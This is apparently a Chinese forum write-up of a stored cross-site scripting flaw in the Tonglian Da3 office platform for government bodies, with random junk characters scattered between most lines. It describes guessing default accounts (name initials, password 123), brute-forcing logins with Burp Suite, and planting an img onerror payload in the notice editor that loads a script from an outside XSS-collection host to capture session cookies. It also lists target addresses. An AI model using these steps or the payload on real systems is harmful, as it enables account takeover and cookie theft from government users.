同联Da3协同办公平台后台通用储存型xss漏洞

admin

' j5 u0 w6 B. f8 j8 _9 L : [! \5 @. j+ ?6 O ' L6 {9 m# x* D l# o. R |. q. L5 ]) i& n) ] R( M " ^( c' T& e, e( D. B' L

# a7 ~' D" B1 z/ }- c2 v' P; o 同联Da3协同办公平台后台通用储存型xss漏洞

2 p4 a i+ ?( d- e" }: c

平台简介： ( C9 p& C' I' Y' C! D' ?$ a

" C0 J y- Z8 z. j0 O

  l9 R2 B- J) k# F" ~' S5 r" d2 Y7 ?

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
' [+ P2 t. C$ k5 c V, e同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ . Y/ U! |* _; w5 z

/ P, \5 T v Y7 u4 b5 G% A

 

- r I2 W+ B2 ^6 z5 [9 X" _0 F* z

9 y1 D( J' ^' Q' J3 K. B9 _6 r 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： ; H' d$ W; x% }, s+ ]$ x& n+ t

6 Q6 T% S' G' @% O" ?! R

 

+ k# r9 n. y0 { T

http://1.1.1.1:7197/cap-aco/#（案例2-） : [- g# @( g1 j( E9 g9 Y

http://www.XXOO.com （案例1-官网网站） * h% o/ |) M9 N) ~) H" H* F7 x9 _

- S5 {: j+ d& V1 i0 @; I. l7 x5 G

漏洞详情:

, Y" i2 b# w9 D. ?

( e+ N, G& s2 ^4 l7 x3 J  案例一、

1 C! l) n# }; A) q8 G

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 . s% ?5 a) A# a+ b$ K

# Z+ H* i: Z `, W      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

 

6 g7 [/ X. q. f/ a8 ? 0 d; \ ?) \; }$ c

2 F7 }, g: z0 l: Q+ G5 u1 a

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

" h, i. ]2 I9 ?

  , K8 P2 y& Z- ?0 {, m; A7 M- g

# D" @4 }6 O0 j$ n. z# Q

" t/ ]# ^9 j/ q. d& I' r. B w. X

! o! ^) d2 x0 c

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

; ]% H: }. A9 f; I   . T9 W, l3 t8 F" {

5 @2 |, ~# \5 k' u2 h

7 }3 t* ^5 G* E3 g <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： * c2 r' k7 S& O) @" E

+ [+ U3 o* b1 P; C! u- J

$ b; u" Y* F& R \% `+ W: P

8 z3 a" Z: t g6 d: | 然后发送，接收cookie如图：

; q- Z. P8 A5 \# C, [

/ G: ^7 o. }( |5 K   . Y7 J# c' ]" F2 g" ~6 n& z

4 H, t( d$ I* m; d9 L# M

 

  0 t/ I& s5 q& v

. v$ y% e* g! n8 T

  2 A) W D' j4 w# z3 `

: m. O5 I6 d X) g+ @/ _2 r

7 w D1 M3 R9 x) \; x: C/ C h

5 y0 |: Q& t, m0 Z9 B4 |1 z 5 [+ t7 W" W7 p* w. M8 b+ [

! l3 v$ L3 q, H+ Q- N# ?$ C

  - |) i( I k4 w$ y/ G, Z: J

% b, A2 ^( ]$ h& E7 Z7 c8 U

2 f% Z, c$ \( \. b2 Y 案例2、

/ M9 Q9 ]9 e, f5 |

前面步骤都一样，下面看效果图： # Z0 ^0 o) w$ U8 M

' ^0 \6 T( w+ {" D; s+ M0 ~ ; E- z- ?8 {0 Y" T3 w

 

+ a! R% d# l& ~3 n  

7 h- q$ `" ?/ x1 W, N" C# F

 

 

+ Y( ~6 j7 F1 J- v. X

; E8 @$ @1 T) ?  

+ s8 ?3 Q% R! P/ |, _0 B; j

  & V( o( O+ a( ~8 J5 b& k